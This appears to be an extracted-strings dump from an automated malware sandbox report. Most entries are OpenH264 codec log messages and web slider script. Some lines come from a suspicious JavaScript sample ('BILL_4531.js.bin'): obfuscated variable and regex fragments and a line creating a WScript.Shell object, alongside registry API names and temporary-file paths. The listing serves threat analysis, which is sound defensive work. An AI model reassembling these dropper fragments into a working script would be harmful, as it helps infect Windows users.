Ansi based on Dropped File (gmpopenh264.dll.97104820)

MaxSpatialBitrate (%d) should be larger than SpatialBitrate (%d), considering it as error setting

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MbP?[SetRates] Error in Setting Bit Rate at Layer:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MbP?LTR ,iMarkFrameNum invalid LTR delete ,long_term_idx = %d , iFrameNum =%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MemGetNextNal() fail due out of memory.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

MM/dd/yy

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Mozilla Firefox.lnk

Unicode based on Runtime Data (helper.exe )

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Ansi based on PCAP Processing (PCAP)

Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0

Ansi based on PCAP Processing (PCAP)

mscoree.dll

Unicode based on Dropped File (gmpopenh264.dll.97104820)

msctls_progress32

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

NAL_UNIT_CODED_SLICE: InitBits() fail due invalid access.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

NAL_UNIT_PREFIX: InitBits() fail due invalid access.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

new[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

noUiSlider.create(slider_age, {

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_length, {

Ansi based on Dropped File (home-&-garden)

noUiSlider.create(slider_price, {

Ansi based on Dropped File (home-&-garden)

ntime Error!Program:

Unicode based on Dropped File (gmpopenh264.dll.97104820)

OInitializing Bit Rate at: Start:

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ommunity - thamizha.com

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.0043D000.00000002.mdmp)

OpenH264VideoDecoder::Decode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

OpenH264VideoEncoder::Encode

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ParamValidation(), AdaptiveQuant(%d) is not supported yet for screen content, auto turned off

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(), screen change detection should be turned on,change bEnableSceneChangeDetect as true

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid iRCMode = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid the number of Spatial layer(%d)for screen content

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation(),Invalid usage type = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidation,Invalid resolution layer(%d) resolution(%d x %d) shoudl be less than the highest spatial layer resolution(%d x %d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), iLoopFilterDisableIdc(%d) must be between 0 and 6

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), in layer #%d iWidth x iHeight(%d x %d) both should be multiple of 16, can not support with arbitrary size currently!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid iSliceSize (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiMaxNalSize (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMbNum (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMode (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceMode (%d) settings!,MaxNalSize = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) in SM_RASTER_SLICE settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) settings more than MAX!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), invalid uiSliceNum (%d) settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->iSpatialLayerNum: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->iTemporalLayerNum: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), monitor invalid pCodingParam->uiGopSize: %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), pSlice setting for SM_RASTER_SLICE now turn to SM_SINGLE_SLICE!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), setting lossy link for LTR under screen, which is not supported yet! Auto disabled LTR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), slice mode = SM_DYN_SLICE, uiSliceSizeConstraint = %d ,uiMaxNalsize = %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiIntraPeriod(%d) should be multiple of uiGopSize(%d) or -1 specified!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiIntraPeriod(%d) should be not less than that of uiGopSize(%d) or -1 specified!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), uiSliceNum(%d) you set for SM_FIXEDSLCNUM_SLICE, now turn to SM_SINGLE_SLICE type!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), unsupported setting with Resolution and uiSliceNum (%d) combination under RC on! Consider setting single slice with this resolution!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), unsupported setting with Resolution and uiSliceNum combination under RC on! So uiSliceNum is changed to %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(), WARNING: GOM based RC do not support SM_RASTER_SLICE!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(),Invalid usage type = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParamValidationExt(),width(1-%d),height(1-%d)invalid %d x %d in dependency layer settings!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pArgsWWW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

parse_nal(), no exist Picture Parameter Sets ahead of sequence when try to decode NAL(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

parse_nal(), no exist Sequence Parameter Sets ahead of sequence when try to decode NAL(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader() in Prefix Nal Unit:uiQualityId (%d) != 0, bUseRefBasePicFlag (%d) != 0, not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader(), no exist Parameter Sets ahead of sequence when try to decode slice(type:%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader():bUseRefBasePicFlag (%d) != 0, MGS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseNalHeader():uiQualityId (%d) != 0, MGS not supported!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsePps(): slice_group_map_type (%d): support only 0,1.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParsePps(): weighted_pred_flag (%d) weighted_bipred_idc (%d) neither supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(), invaild frame number: %d due to IDR frame introduced!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): B slice not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): bUseRefBasePicFlag or bStoreRefBasePicFlag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSliceHeaderSyntaxs(): frame_mbs_only_flag = %d not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): bit_depth_chroma (%d). Only 8 bit supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): bit_depth_luma (%d) Only 8 bit supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): chroma_format_idc (%d) = 1 supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): frame_mbs_only_flag (%d) not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): level_idx (%d).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ParseSps(): seq_scaling_matrix_present_flag (%d). Feature not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->pMbRefConcealedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pCbfDc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pCbp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pChromaPredMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pChromaQp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pInterPredictionDoneFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pIntra4x4FinalMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pIntraPredMode[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pLumaQp[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbCorrectlyDecodedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbRefConcealedFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMbType[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMv[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pMvd[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pNzc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pNzcRs[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pRefIndex[][]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pResidualPredFlag[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pScaledTCoeff[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pSliceIdc[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pCtx->sMb.pSubMbType[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pic_height_in_mbs(%d) exceeds the maximum allowed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pic_width_in_mbs(%d) exceeds the maximum allowed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pkimage.aspx1034050474.html

Unicode based on Runtime Data (eXe )

pLtr->uiLtrMarkState = %d, pLtr.iCurLtrIdx = %d , pLtr->iLtrMarkFbFrameNum = %d ,pCtx->iFrameNum = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

portuguese-brazilian

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Ansi based on Process Commandline (powershell.exe)

pPic->pBuffer[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppMbListD[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ppRefPicListExt[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pRef is int32_t !iLastRecoverFrameNum = %d, pRef iFrameNum = %d,LTR number = %d,

Ansi based on Dropped File (gmpopenh264.dll.97104820)

price_values[handle].value = values[handle];

Ansi based on Dropped File (home-&-garden)

Problematic Input Base Param: iUsageType=%d, Resolution=%dx%d, FR=%f, TLayerNum=%d, DLayerNum=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

ProxyHttp1.1

Unicode based on Runtime Data (eXe )

pSliceComplexRatio[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceConsumeTime[]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pSliceSeg->pFirstMbInSlice

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->pVaaBlockStaticIdc[0]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pMad8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSsd16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSum16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSumOfDiff8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.pSumOfSquare16x16

Ansi based on Dropped File (gmpopenh264.dll.97104820)

pVaa->sVaaCalcInfo.sad8x8

Ansi based on Dropped File (gmpopenh264.dll.97104820)

range: {

Ansi based on Dropped File (home-&-garden)

Receive LTR recovery pRequest,feedback_type = %d ,uiIdrPicId = %d , current_frame_num = %d , last correct frame num = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Receive valid LTR recovery pRequest,feedback_type = %d ,uiIdrPicId = %d , current_frame_num = %d , last correct frame num = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

reference picture introduced by this frame is lost during transmission! uiTId: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

referencing pictures lost due frame gaps exist, prev_frame_num: %d, curr_frame_num: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RegCloseKey

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegCreateKeyA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegCreateKeyExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegCreateKeyExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegDeleteKeyA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegDeleteKeyExW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

RegDeleteKeyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegEnumKeyExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegEnumKeyW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

RegOpenKeyA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegOpenKeyExA

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RegOpenKeyExW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RemainOneBufferInDpbForEC(): empty one DPB failed for EC!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Remote

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Remote script object can only be executed once. Unable to execute remote script.

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

RemoteRpcDll

Unicode based on Runtime Data (wscript.exe )

ReportEventW

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

RequestMemorySvc() failed due to invalid iNumDependencyLayers(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc() failed due to invalid uiIntraPeriod(%d) (=multipler of uiGopSize(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), AcquireLayersNals failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), AllocStrideTables failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), InitDqLayers failed(%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), InitMbListD failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), RequestMemoryVaaScreen failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

RequestMemorySvc(), RequestMtResource failed!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

residual_pred_flag = 1 not supported.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

returned error from decoding:[0x%x]

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Roaming.eXe

Unicode based on Runtime Data (eXe )

rShortNameWWW(

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Runtime Error!Program:

Unicode based on Dropped File (gmpopenh264.dll.97104820)

s\%s.mui

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

SceneChangeDetect() iAvailableRefNum=0 but not I.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Set-SliceConstraint(%d) too small for current resolution (MB# %d) under QP/BR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetMeMethod(BLOCK_16x16) ME_DIA_CROSS unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SetMeMethod(BLOCK_8x8) ME_DIA_CROSS_FME unsuccessful, switched to default search

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Setting MaxSpatialBitrate (%d) the same at SpatialBitrate (%d) will make the actual bit rate lower than SpatialBitrate

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SHGetFileInfoW

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00407000.00000002.mdmp)

slice type too large (%d) at first_mb(%d)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

slider_age.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_age.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_length.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_length.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_price.noUiSlider.on('change', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

slider_price.noUiSlider.on('update', function( values, handle ) {

Ansi based on Dropped File (home-&-garden)

SOFTWARE\Classes\%s\%s

Ansi based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Software\Microsoft\Windows Script Host\Settings

Unicode based on Hybrid Analysis (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Software\Microsoft\Windows\CurrentVersion

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

SP/SI not supported

Ansi based on Dropped File (gmpopenh264.dll.97104820)

st (debugging disabled)

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

staller integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

start: [ 0.00, 1888.00 ],

Ansi based on Dropped File (home-&-garden)

start: [ 1, 21 ],

Ansi based on Dropped File (home-&-garden)

start: [ 4, 16 ],

Ansi based on Dropped File (home-&-garden)

StoresServiceClassInfo

Unicode based on Runtime Data (eXe )

Support I420 output only for now! Change to I420...

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SupportedNameSpace

Unicode based on Runtime Data (eXe )

switch (amygk) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (bagef()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (jisvapax) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (ocuqga()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (oqgovajo()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (upqetp) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (ytxobo()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

switch (zcagyl()) {

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

sync picture resolution ext failed, the error is %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SyncPictureResolutionExt()::InitialDqLayersContext--buffer allocated failure.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

SyncPictureResolutionExt()::WelsRequestMem--buffer allocated failure.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

tegrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error

Unicode based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00408000.00000002.mdmp)

This Unicode version of Windows Script Host will only execute under Windows NT.Please use the ANSI version of Windows Script Host."

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

Transports

Unicode based on Runtime Data (eXe )

u@hL@

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Ua\AppData\Local\Temp\nsa2FE8.tmp

Unicode based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00424000.00000004.mdmp)

uiScanIdxStart (%d) != 0 and uiScanIdxEnd (%d) !=15 not supported here

Ansi based on Dropped File (gmpopenh264.dll.97104820)

Ansi based on Memory/File Scan (eXe , 00020376-00002708.00000000.20876.00409000.00000004.mdmp)

Unable to find job "%1!ls!".

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

unexpected return(%d) from EncodeFrameInternal()!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

UpdateAccessUnit():::::Key frame lost.....CAN NOT find IDR from current AU.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

var ewavke = [yjcewp, uquhiwn, fafiq, ubhogy, geju, noxah, ibxesno, ypedhycw, jyxtiw, dbaxanzi, zbike, npobwus, ajrahh, efyfis];

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var form_inputs = $('#filter-form :input');

Ansi based on Dropped File (home-&-garden)

var form_values = {};

Ansi based on Dropped File (home-&-garden)

var ixunlogs = [/du3h8/gi, /gy7dg5/gi, /mwa1a2/gi, /o6r6/gi, /uc9i6/gi, /elw5e1/gi, /gb5i8/gi, /o9n3/gi, /ipz6pl6/gi, /qf8e2/gi, /mu1hr6/gi, /bza4y9/gi, /nm2ln2/gi, /l2a4/gi];

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var slider_age = document.getElementById('nouislider_age');

Ansi based on Dropped File (home-&-garden)

var slider_length = document.getElementById('nouislider_length');

Ansi based on Dropped File (home-&-garden)

var slider_price = document.getElementById('nouislider_price');

Ansi based on Dropped File (home-&-garden)

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var ybbanbo = new ActiveXObject("WScript.Shell");

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

var yvbiswimsarh = 82.335;

Ansi based on Hybrid Analysis (BILL_4531.js.bin)

verifying installer: %d%%

Unicode based on Hybrid Analysis (eXe , 00020376-00002708.00000000.20876.00401000.00000020.mdmp)

VERSION.dll

Ansi based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

Ansi based on Memory/File Scan (helper.exe , 00037821-00000600.00000000.38323.00531000.00000002.mdmp)

Visual C++ CRT: Not enough memory to complete call to strerror.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

VS_VERSION_INFO

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.0048A000.00000002.mdmp)

ware\Microsoft\Windows Script Host\Settings

Unicode based on Memory/File Scan (wscript.exe , 00018013-00001264.00000000.18513.00471000.00000020.mdmp)

WarnOnHTTPSToHTTPRedirect

Unicode based on Runtime Data (eXe )

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), CurrentFramePoc=%d, isLTR=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), ref !current iFrameNum = %d, ref iFrameNum = %d,LTR number = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen(), ref !current iFrameNum = %d, ref iFrameNum = %d,LTR number = %d,iNumRef = %d ref is Scene LTR = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen()RefLot[%d]: iPoc=%d, iPictureType=%d, bUsedAsRef=%d, bIsLongRef=%d, bIsSceneLTR=%d, uiTemporalId=%d, iFrameNum=%d, iMarkFrameNum=%d, iLongTermPicNum=%d, uiRecieveConfirmed=%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsBuildRefListScreen()RefLot[%d]: NULL

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDecodeMbCavlcISlice()::::pBs incomplete, iUsedBits:%I64d > pBs->iBits:%d, MUST stop decoding.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsDecodeSlice()::::ILP flag exist, not supported with CABAC enabled!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt() OutputInfo iLayerId = %d,iNalType = %d,iNalCount = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt() OutputInfo iLayerNum = %d,iSubSeqId = %d,iFrameSize = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iLayerNum(%d) overflow(max:%d) at iDid= %d uiSliceMode= %d, iSliceCount= %d!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iLayerNum(%d) overflow(max:%d)!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), iSliceCount(%d) from GetCurrentSliceNum() is untrusted due stack/heap crupted!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), Logic Error Found in temporal level. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), WelsBuildRefList failed for P frames, pCtx->iNumRef0= %d. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt(), WelsUpdateRefList failed. ForceCodingIDR!

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderEncodeExt()MinCr Checking,codec bitstream size is larger than Level limitation

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsEncoderParamAdjust(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsGetCodecVersion

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt() exit, overall memory usage: %llu bytes

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), CreateSliceThreads failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), DetermineTemporalSettings failed return %d (check in/out frame rate and temporal layer setting!)

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), GetMultipleThreadIdc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), NULL == ppCtx(0x%p) or NULL == pCodingParam(0x%p).

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), ParamValidationExt failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pCtx= 0x%p.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pOut of memory in case new CWelsPreProcess().

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), pVPP alloc spatial pictures failed

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitEncoderExt(), RequestMemorySvc failed return %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsInitRefList()::PrefetchPic for EC errors.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsReorderRefList()::::BASE LAYER::::iSpsId:%d, ref_sps_id:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory alloc size = %d * %d, ref list size = %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory re-alloc for no resolution change (size = %d * %d), ref list size change from %d to %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsRequestMem(): memory re-alloc for resolution change, size change from %d * %d to %d * %d, ref list size change from %d to %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetMbConstruction():::::Unknown MB type: %d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetSliceConstruction():::MB(%d, %d) construction error. pCurSlice_type:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsTargetSliceConstruction():::pCtx->iTotalNumMbRec:%d, iTotalMbTargetLayer:%d

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUninitEncoderExt(), pCtx= %p, iThreadCount= %d, iMultipleThreadIdc= %d.

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUninitEncoderExt(), pthread_join(pThreadHandles%d) return %d..

Ansi based on Dropped File (gmpopenh264.dll.97104820)

WelsUpdateRefSyntax():::uiAbsDiffPicNumMinus1:%d

